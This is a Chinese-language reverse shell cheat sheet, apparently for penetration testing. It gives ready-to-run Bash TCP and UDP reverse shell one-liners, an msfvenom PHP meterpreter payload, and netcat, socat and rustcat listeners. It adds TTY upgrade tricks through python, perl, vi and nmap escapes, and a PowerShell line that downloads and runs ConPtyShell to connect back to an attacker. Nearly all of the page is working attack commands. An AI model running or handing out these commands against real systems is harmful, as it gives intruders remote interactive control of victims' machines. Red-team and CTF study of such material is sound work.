反弹 Shell (Reverse Shell)

Bash TCP

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196

/bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1

Bash UDP

目标机 (Victim):
sh -i >& /dev/udp/10.0.0.1/4242 0>&1

监听器 (Listener):
nc -u -lvp 4242

不要忘记尝试其他 Shell：sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash。

msfvenom -p php/meterpreter_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

产生 TTY Shell (Spawn TTY Shell)

为了接收 Shell，你需要在指定端口开启监听。rlwrap 工具可以增强 Shell，让你可以使用 [CTRL] + [L] 进行清屏。

rlwrap nc 10.0.0.1 4242

rlwrap -r -f . nc 10.0.0.1 4242
-f . 会让 rlwrap 使用当前历史文件作为自动补全的单词库。
-r 将所有在输入和输出中见到的单词放入补全列表。

有时，你需要在部分 TTY Shell 中使用快捷键、su 命令、nano 编辑器以及自动补全功能。

⚠ OhMyZSH 可能会破坏此技巧，建议仅使用简单的 sh 环境。

这里的主要问题是 zsh 处理 stty 命令的方式与 bash 或 sh 不同。[...] stty raw -echo; fg[...] 如果你尝试将这两部分作为独立的命令执行，那么一旦提示符出现并等待你执行 fg 命令时，你的 -echo 命令就已经失效了。

ctrl+z
echo $TERM && tput lines && tput cols

# 对于 bash
stty raw -echo
fg

# 对于 zsh
stty raw -echo; fg

reset
export SHELL=bash
export TERM=xterm-256color
stty rows <行数> columns <列数>

⚠ 在 Windows Terminal + WSL 容器环境下，[CTRL] + [Z] 可能会导致你退出或冻结容器。 为了解决这一问题，请在 tmux 中运行 nc，并向 nc 进程发送 SIGTSTP 信号。

# 进入 tmux
tmux

# 进行 netcat 操作 ...
nc -lnvp 4242

# 在 tmux 中开启一个新窗口
ctrl+b c

# 查找 nc 进程的 PID (PID 列)
ps aux # | grep -i nc | grep -vi grep

# 向该进程发送 SIGTSTP (等同于 ctrl+z) 信号
kill -s TSTP <PID>

或使用 socat 二进制文件获取一个完整的 TTY 反弹 Shell：

socat file:`tty`,raw,echo=0 tcp-listen:12345

或者，rustcat 二进制文件可以自动注入 TTY Shell 命令。 它会自动升级 Shell 并提供 TTY 大小建议以供手动调整。 不仅如此，在退出 Shell 时，终端将被重置，从而保持可用。

stty raw -echo; stty size && rcat l -ie "/usr/bin/script -qc /bin/bash /dev/null" 6969 && reset

通过解释器产生 TTY Shell：

/bin/sh -i
python3 -c 'import pty; pty.spawn("/bin/sh")'
python3 -c "__import__('pty').spawn('/bin/bash')"
python3 -c "__import__('subprocess').call(['/bin/bash'])"
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
perl -e 'print `/bin/bash`'
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
  • vi: :!bash
  • vi: :set shell=/bin/bash:shell
  • nmap: !sh
  • mysql: ! bash

备选 TTY 产生方法：

www-data@debian:/dev/shm$ su - user
su: must be run from a terminal

www-data@debian:/dev/shm$ /usr/bin/script -qc /bin/bash /dev/null
www-data@debian:/dev/shm$ su - user
密码: P4ssW0rD

user@debian:~$

Windows 上的完全交互式反弹 Shell

Windows 中引入的伪控制台 (ConPty) 极大地改善了 Windows 处理终端的方式。

ConPtyShell 利用了 CreatePseudoConsole() 函数。该函数自 Windows 10 / Windows Server 2019 版本 1809 (内部版本 10.0.17763) 起可用。

服务器端（攻击机）：

stty raw -echo; (stty size; cat) | nc -lvnp 3001

客户端（目标机）：

IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001

可在以下地址获取 ps1 的离线版本 --> antonioCoco/ConPtyShell/Invoke-ConPtyShell.ps1
